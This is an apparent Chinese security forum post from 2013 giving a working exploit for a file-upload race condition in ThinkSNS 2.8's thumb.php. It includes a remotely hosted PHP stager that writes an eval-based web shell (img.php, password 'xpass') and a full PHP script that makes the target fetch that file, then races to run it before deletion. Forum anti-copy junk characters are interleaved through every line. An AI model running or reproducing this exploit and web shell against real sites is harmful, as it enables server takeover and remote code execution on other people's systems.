找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2250|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本% X+ A; t7 U+ p( Z7 \. P: E1 W  Y
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)) Y4 |, j# }; }& H
漏洞文件1 v  n3 G; f3 p2 R! T
存在漏洞的文件为:thumb.php# P( f! ^. G# T. r, V- ~
作者:韦鲲鹏
' a5 g- v( Y' n' _- F. n1、        准备如下PHP文件并上传到服务器(自己的)。
0 A, ~$ x& {$ z" r$ @; Y文件内容如下:
9 I4 ~' J% o( _$ U- g; u<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>3 u( \4 {0 ?& \; ^: h6 I
2、        计算出临时的文件名:
% w' |* @' K0 ^- r. L9 a# R5 q这里我们可以看文件的99行(刚刚是不是没注意呀!)。/ i0 h) a$ y% d& n4 `
' U  w8 G; v2 U& U0 ?
3、        上传临时文件。" R- Q; h, l7 ~% ^
4、        访问临时文件。1 m7 v& W; F; y7 m) ?
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
; M! B  u  N9 z( y& cExploit文件内容如下:(这个我就不详细解释了)
- V$ b1 c& `  ?8 g3 r4 [- N) }1 e<?php9 L" T  ]: U8 ]
error_reporting(0);
. K* B" i( j4 r: r! zset_time_limit(0);
# u+ ~' e  q2 d6 y: Z4 h% D. I/ sini_set(“default_socket_timeout”, 5);3 z0 j1 C( f3 N' f) p
function http_send($host, $port, $headers) {
4 P' y2 ?6 p6 P8 V$fp = fsockopen($host, $port);1 |5 ]! Z1 {) v# c
if (!$fp) die(‘Connection -> fail’);. Z5 t1 @! Q" F$ P
fputs($fp, $headers);& k$ x; U4 v( \1 S) Z+ m
return $fp;1 M" H1 W5 |2 T# P: d. l
}, c9 d3 Z0 {7 q! x/ P8 u
function http_recv($fp) {3 R9 D0 a, @( k/ S( {$ {
$ret=”";
. G. R. m4 E& p- Y/ ?( Rwhile (!feof($fp)), n; P( A* [9 J4 R0 U
$ret.= fgets($fp, 1024);
1 a8 a% K5 Y. \7 b* d+ u$ Vfclose($fp);- A% |- g: F. T* S  S" Q0 o3 N4 b
return $ret;; i. ^7 u5 Q  d+ w2 V" R% g! M8 R
}
- i; Q6 \( K6 ^! {9 O* aprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
$ d) P" y& u6 g, i( M1 y+ Cprint “# Discovered by 韦鲲鹏 #\n\n”;
7 w: P' j! f9 Q% _5 [, `if ($argc < 4) {
1 K& }1 ]7 V5 \& Vprint “Usage:   php <host> <path> <romote_url>\n”;0 X0 v0 U: ]$ o. t
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: y! w  W* n, bdie();, z4 |. ~3 Z% d* t
}
  C9 p. K, I0 R. o: d/ ^2 g4 C. \$host = $argv[1];
7 S- d% \! }5 G$ M' v- g: o; J8 k$path = $argv[2];1 K4 e  |- _/ h7 k; M3 F) x
$url = $argv[3];
5 ]# a5 c+ T' T+ G9 r$i=0;: E4 P- d* z9 T
//上传数据包
* u- e% _- \8 ?- \$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;) X2 Q3 X; f4 l) g
$headers_up .= “Host: “.$host.”\r\n”;
( x9 y% B4 A5 N- F5 U: j$headers_up .= “Connection: close\r\n\r\n”;1 W- l. A+ R7 D( G8 h; z6 [# i; \5 h
echo $headers_up;/ K; S3 Z2 F1 ^. F. a" C5 h& [+ A
//临时文件访问数据包
4 i( C5 N  ?! I( {6 e( h$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;3 h" d1 J) ?/ r4 X) h/ V& |
$headers .= “Host: “.$host.”\r\n”;. [5 ^9 n+ Z* J2 n8 i
$headers .= “Connection: close\r\n\r\n”;
2 l. j- x* I2 J# w6 h; E/ Q/ q/ Eecho $headers;0 i7 u/ ~3 Z; ^& a: ~$ W
while(++$i<10) {2 r, \% k) ?1 ~' z, j8 @5 l- V1 n
fclose(http_send($host, 80, $headers));) |1 v9 Y0 g" Z/ S  S4 V
}
6 W  [& `" p5 X$ p# z' dfclose(http_send($host, 80, $headers_up));5 F' o8 {6 e; M- I2 s
while(++$i<50) {
. Z" R) O6 }: ]  F& [& ]fclose(http_send($host, 80, $headers));
3 v- r. @3 p5 X& x2 P" M4 H}
6 G# S9 |/ f8 I/ R; b$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;7 _8 x. ?' n1 R% I$ ^8 l5 z1 S
$headers .= “Host: “.$host.”\r\n”;
7 C% Z, z; W% h8 Z; f$headers .= “Connection: close\r\n\r\n”;  G; |) U, F- G5 {. m, h" p9 Z2 v+ L
$res=http_recv(http_send($host, 80, $headers));( b  d' F. T0 |& b! R8 n4 W* |
if(preg_match(‘/200 OK/’,$res)) {4 N, z- @2 l- ~' d
print “Success!\n\n”;
. m- c- r. b8 A/ [/ n. C} else {
  [5 j+ B* V# _/ N: `; x$ L/ Kprint “Fail!\n\n”;9 r4 b# H5 r2 S2 w$ {: c" R
}
1 A( `$ J1 t& o( U, i" V?>
8 l4 l2 _! A3 r& _( e$ b, c; P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表